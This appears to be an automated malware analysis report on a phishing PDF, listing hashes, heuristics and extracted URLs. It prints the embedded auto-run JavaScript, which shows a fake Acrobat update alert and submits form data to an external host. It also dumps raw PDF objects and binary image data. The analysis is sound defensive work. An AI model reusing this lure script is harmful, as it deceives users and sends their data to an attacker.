Malicious PDF — malware analysis report

Static analysis result for SHA-256 586faba9f867d271…

MALICIOUS

PDF

107.3 KB Created: 2018-06-12 09:41:10 -04:00 First seen: 2021-11-02
MD5: dfd9534e086f1b42fed9369ca9e67f20 SHA-1: 4d233bf742430b55de17a30a25695e7ab7207e30 SHA-256: 586faba9f867d27192450085724d4be84c02a8e90baba6a7a97672d47c2d6906
160 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1566.001 Spearphishing Attachment T1071.001 Web Protocols

The PDF document contains JavaScript that triggers an alert box mimicking an Adobe Acrobat update prompt. This script also attempts to submit form data to the URL 'https://staging.cyberheist.com/...', indicating a credential harvesting or further payload delivery attempt. The presence of JavaScript and the fake update lure strongly suggest a phishing or social engineering attack.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9477

Heuristics 8

  • PDF auto-runs JavaScript form submission on open critical PDF_OPENACTION_JS_SUBMITFORM
    PDF uses /OpenAction to run JavaScript that calls submitForm() with an external HTTP(S) URL. Opening the document triggers the outbound submission path without requiring a normal link click.
  • PDF JavaScript shows fake Acrobat updater prompt high PDF_FAKE_ACROBAT_UPDATE_LURE
    PDF JavaScript displays Acrobat/update-themed language such as a document rendering engine update or remote connection to Adobe servers. When paired with JavaScript or external submission, this is a social-engineering lure rather than benign document text.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Visual download / call-to-action button lure low SE_DOWNLOAD_BUTTON
    Document contains a call-to-action phrase ('Click here to download', 'Download Now', etc.) — low-signal unless other findings point to a malicious workflow
  • External URI info PDF_URI
    PDF contains an external URL action
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://staging.cyberheist.com/XTVhBNFRYVlFiemt5SzBsNkx6TnRORFZLTlZoS0syNVVkVWRNUTAxQlR6UXpVRkJFTDJwcldIRlBWVlp3U0ZBekt6RlZSMU53U0hOWWIzb3pjM1JEZEZoWFdIbDRWMUJRZEdNeVluSjFSelJJU21OM1FrTXhMMkp6ZUVKdmNVVnFSM2w0U1UxVU1FbEJkRUU5TFMwd2FUUmxiMEpyZVhCSWRFTkpkVTlLVFhVd2NsTlJQVDA9LS00OTg2YzQwYzU5ZGFmYjYxYTY1ZmM1ZWFiOGZmNjEwOTZjMmRkZmU2?cid=19483206#FDF Referenced by PDF JavaScript
    • https://staging.cyberheist.com/XVDI0NWVGTTRUbGcySzJkd1VVUlBNemxwYzBack1rNHdUR0Z4UlhGcVJHNWlPVkZwVDFCeVdYUm5ka05UV0ROQmVUVktTbWx5TVdGNUwwdENWemhqVlZaV1dtSlNOMHhyT1dGWVMwbFRkbmRVTkRsUGJITjRha3hOY2xGT2RUWmpRVTVIWWxKRVVYSTBNVmRQVldFdlFuTnRVMVJDTUZKUFIzVkVPRnBOZDJWWFlrWlhiMkpVTUdOeVZtRlpOMGRMVVdKWGQwbHdPVkV5VVhaTGRXbHZPRFE1TUhsR1oyUm5TRTV2UFMwdFlreHpaalV4TVhabUszTlFZMnBwY1V4dWIwdEZaejA5LS1lNDg1OGM1NmE4ZDk5YTQ2MjQ1NmFmZDhiMGQ2NWJkMDRiNjk5MWVj?cid=19483206Referenced by PDF JavaScript
    • https://staging.cyberheist.com/XZG1sU00yRjRSa1l4Ukhwb1pETlNkRkZ1V1VWamRHNU9iallyV0V4WWRIVnhObFZFVHpSa2FsZHZWMnBwYW1KYWFWa3ZPV1pFUkhoVWJ6bE5Lemx0YjBoU1ZYWnpkMGx5ZEd0dlVYUm5TWEp2VEhGR2RXMVNha2RsYVhWelJ6SmxhMUUyU21zM2FFNUNTMDQ0WlZKeFdHZzJZak5pVkRsdFQyZHpibFZWYm5STUwzUjFXamRwU3pKU00zUktXbWh1TWk5SVdFNVplbWhFTWtNMUwweHdXSEI0WjNsd2F6bG5UMlV3UFMwdEwzUkNabTA0VkhSU2NFOHpNWFpPZDFZMFdHWk5RVDA5LS0wOWJhYzNkNWI3Y2M4ZjkyOWQ0NGIzZWNiNGFiMzJhOWY1MDQ2Y2Mw?cid=19483206Referenced by PDF JavaScript
    • https://staging.cyberheist.com/XZWtSSksxaE1ZMkprYWpCR1RtZFlSemhJYUM5dWFuWkxSMFE0TVZsV01sVmpNRE54VkROalVHTkxSMlp0UVZaeGFGTjJSemhIYlRnMlpFbGtSVzVNVHl0VGJFdEdRMWhVZVVkSFRUUlpaR2hYVW5kSGFGSTBTU3RxYmt3NWRrRTRkQ3RSUTJZd1kxVlBOVGxMWjA5S2JFVndXVzFLTW1kM2NucDBhMEZWZWxkak5tSkdhbGM0UWxCWFp5OU5XR0ZaZWl0dFlXdGlMMlZCYjA4MkswbE5OSGQ2YVVNNVJYa3pPRkpGUFMwdFNsWjFURFo0VFVac1NIWnZMMlpuYzBadlNqQnhaejA5LS03MzJlODRkNjI5M2Y3MjYyZTQ5MTNiY2Y2YmE5MTIwZjEwNzRjY2Rj?cid=19483206Referenced by PDF JavaScript
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#Referenced by PDF JavaScript
    • http://ns.adobe.com/xap/1.0/Referenced by PDF JavaScript
    • http://purl.org/dc/elements/1.1/In PDF document text
    • http://ns.adobe.com/xap/1.0/mm/In PDF document text
    • http://ns.adobe.com/tiff/1.0/Referenced by PDF JavaScript
    • http://ns.adobe.com/exif/1.0/Referenced by PDF JavaScript

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0012_000.js pdf-javascript-stream PDF /JS object 12 at offset 0x180A 599 bytes
SHA-256: 348edf7e18ccc5f528289e1038736565daa82506f1d6befe4a449274df7eb3d7
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
function docOpened()
{
app.alert({cMsg: 'We need to update your document rendering engine. Click OK to continue, when prompted allow remote connection to Adobe servers.', cTitle: 'Adobe Acrobat Updater',nIcon: 3});
app.doc.submitForm('https://staging.cyberheist.com/XTVhBNFRYVlFiemt5SzBsNkx6TnRORFZLTlZoS0syNVVkVWRNUTAxQlR6UXpVRkJFTDJwcldIRlBWVlp3U0ZBekt6RlZSMU53U0hOWWIzb3pjM1JEZEZoWFdIbDRWMUJRZEdNeVluSjFSelJJU21OM1FrTXhMMkp6ZUVKdmNVVnFSM2w0U1UxVU1FbEJkRUU5TFMwd2FUUmxiMEpyZVhCSWRFTkpkVTlLVFhVd2NsTlJQVDA9LS00OTg2YzQwYzU5ZGFmYjYxYTY1ZmM1ZWFiOGZmNjEwOTZjMmRkZmU2?cid=19483206#FDF');
}

docOpened();
javascript_obj0012_001.js pdf-javascript-stream PDF /JS object 12 at offset 0x1831 103718 bytes
SHA-256: 3da585c241b6b58d391414ee5d4162173d64d805044bf3b7fc5766dff7a5c485
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 8 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
function docOpened()
{
app.alert({cMsg: 'We need to update your document rendering engine. Click OK to continue, when prompted allow remote connection to Adobe servers.', cTitle: 'Adobe Acrobat Updater',nIcon: 3});
app.doc.submitForm('https://staging.cyberheist.com/XTVhBNFRYVlFiemt5SzBsNkx6TnRORFZLTlZoS0syNVVkVWRNUTAxQlR6UXpVRkJFTDJwcldIRlBWVlp3U0ZBekt6RlZSMU53U0hOWWIzb3pjM1JEZEZoWFdIbDRWMUJRZEdNeVluSjFSelJJU21OM1FrTXhMMkp6ZUVKdmNVVnFSM2w0U1UxVU1FbEJkRUU5TFMwd2FUUmxiMEpyZVhCSWRFTkpkVTlLVFhVd2NsTlJQVDA9LS00OTg2YzQwYzU5ZGFmYjYxYTY1ZmM1ZWFiOGZmNjEwOTZjMmRkZmU2?cid=19483206#FDF');
}

docOpened();
endstream
endobj

%QDF: ignore_newline
13 0 obj
483
endobj

%% Page 1
%% Original object ID: 16 0
14 0 obj
<<
  /Annots 15 0 R
  /Contents 16 0 R
  /CropBox [
    0
    0
    612
    792
  ]
  /MediaBox [
    0
    0
    612
    792
  ]
  /Parent 8 0 R
  /Resources <<
    /Font <<
      /C0_0 18 0 R
      /C0_1 19 0 R
      /C0_2 20 0 R
    >>
    /ProcSet [
      /PDF
      /Text
      /ImageC
    ]
    /XObject <<
      /Im0 21 0 R
      /Im1 23 0 R
      /Im2 25 0 R
    >>
  >>
  /Rotate 0
  /Type /Page
>>
endobj

%% Original object ID: 32 0
15 0 obj
[
  27 0 R
  28 0 R
  29 0 R
]
endobj

%% Contents for page 1
%% Original object ID: 18 0
16 0 obj
<<
  /Length 17 0 R
>>
stream
q
404.8937073 0 0 269.9337463 107.3061676 460.5401001 cm
/Im0 Do
Q
BT
/C0_0 12 Tf
1 0 0.2679 1 116.07 441.387 Tm
<00350049004a005400010045005000440056004e0046004f00550001004a005400010046004f00440053005a0051005500460045000100560054004a004f0048000100220045005000430046000100340046004400560053004600010024004d005000560045>Tj
/C0_1 12 Tf
<00e4>Tj
/C0_0 12 Tf
<000f0001>Tj
4.179 -15.6 Td
<0024004d004a0044004c000100430046004d005000580001005500500001005400460044005600530046004d005a00010057004a00460058000100440050004f00550046004f00550054000f0001>Tj
ET
/TouchUp_TextEdit MP
BT
0 i 
/C0_2 10 Tf
158.323 52.725 Td
<0031004d00460042005400460001004f005000550046001b000100340050004e00460001005800460043004e0042004a004d00010044004d004a0046004f0055005400010042005300460001004f00500055000100440050004e005100420055004a0043004d004600010058004a005500490001002200450050004300460001>Tj
0 -12 TD
<00340046004400560053004600010024004d00500056004500e4000f0001002a004700010055004900420055000100490042005100510046004f0054000d0001004500500058004f004d005000420045000100550049004600010047004a004d004600010042004f00450001005000510046004f00010050004f0001>Tj
T*
<002500460054004c005500500051000f>Tj
ET
q
56.1389923 0 0 43.9851837 94.3450775 23.5263672 cm
/Im1 Do
Q
q
157.0927124 0 0 36.2528992 230.401001 342.7270813 cm
/Im2 Do
Q
endstream
endobj

17 0 obj
1300
endobj

%% Original object ID: 40 0
18 0 obj
<<
  /BaseFont /KUFUSM+HiraKakuProN-W6
  /DescendantFonts 30 0 R
  /Encoding /Identity-H
  /Subtype /Type0
  /ToUnicode 31 0 R
  /Type /Font
>>
endobj

%% Original object ID: 42 0
19 0 obj
<<
  /BaseFont /VGWIQQ+HiraKakuProN-W6
  /DescendantFonts 33 0 R
  /Encoding /Identity-H
  /Subtype /Type0
  /ToUnicode 34 0 R
  /Type /Font
>>
endobj

%% Original object ID: 44 0
20 0 obj
<<
  /BaseFont /JSIEEO+HiraKakuProN-W6
  /DescendantFonts 36 0 R
  /Encoding /Identity-H
  /Subtype /Type0
  /ToUnicode 37 0 R
  /Type /Font
>>
endobj

%% Original object ID: 25 0
21 0 obj
<<
  /BitsPerComponent 8
  /ColorSpace /DeviceRGB
  /Filter /DCTDecode
  /Height 400
  /Metadata 39 0 R
  /Name /X
  /Subtype /Image
  /Type /XObject
  /Width 600
  /Length 22 0 R
>>
stream
����  JFIF          ��  JFIF          �� C                        	 	                            &""&0-0>>T�� C                        	 	                            &""&0-0>>T��    � X  "       ��                            	
 �� �                }        !1A  Qa "q 2��� #B�� R��$3br�	
     %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz���������������������������������������������������������������������������                            	
 �� �                w       !1  AQ aq "2�  B����	#3R� br�
 $4�%�    &'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz��������������������������������������������������������������������������          ? ��sKL� ^�����h� R� ( Դ�p4 �g Q@ 
... (truncated)
font_00_cff_off0001964b.bin pdf-font-stream PDF embedded font (cff) at offset 0x1964B 4575 bytes
SHA-256: 9340d372ad75a105fdb1627a30e96f892e0dc7d9588c0150cf06b4fa72281cc0

Open this report in the interactive analyzer, or submit your own file for analysis.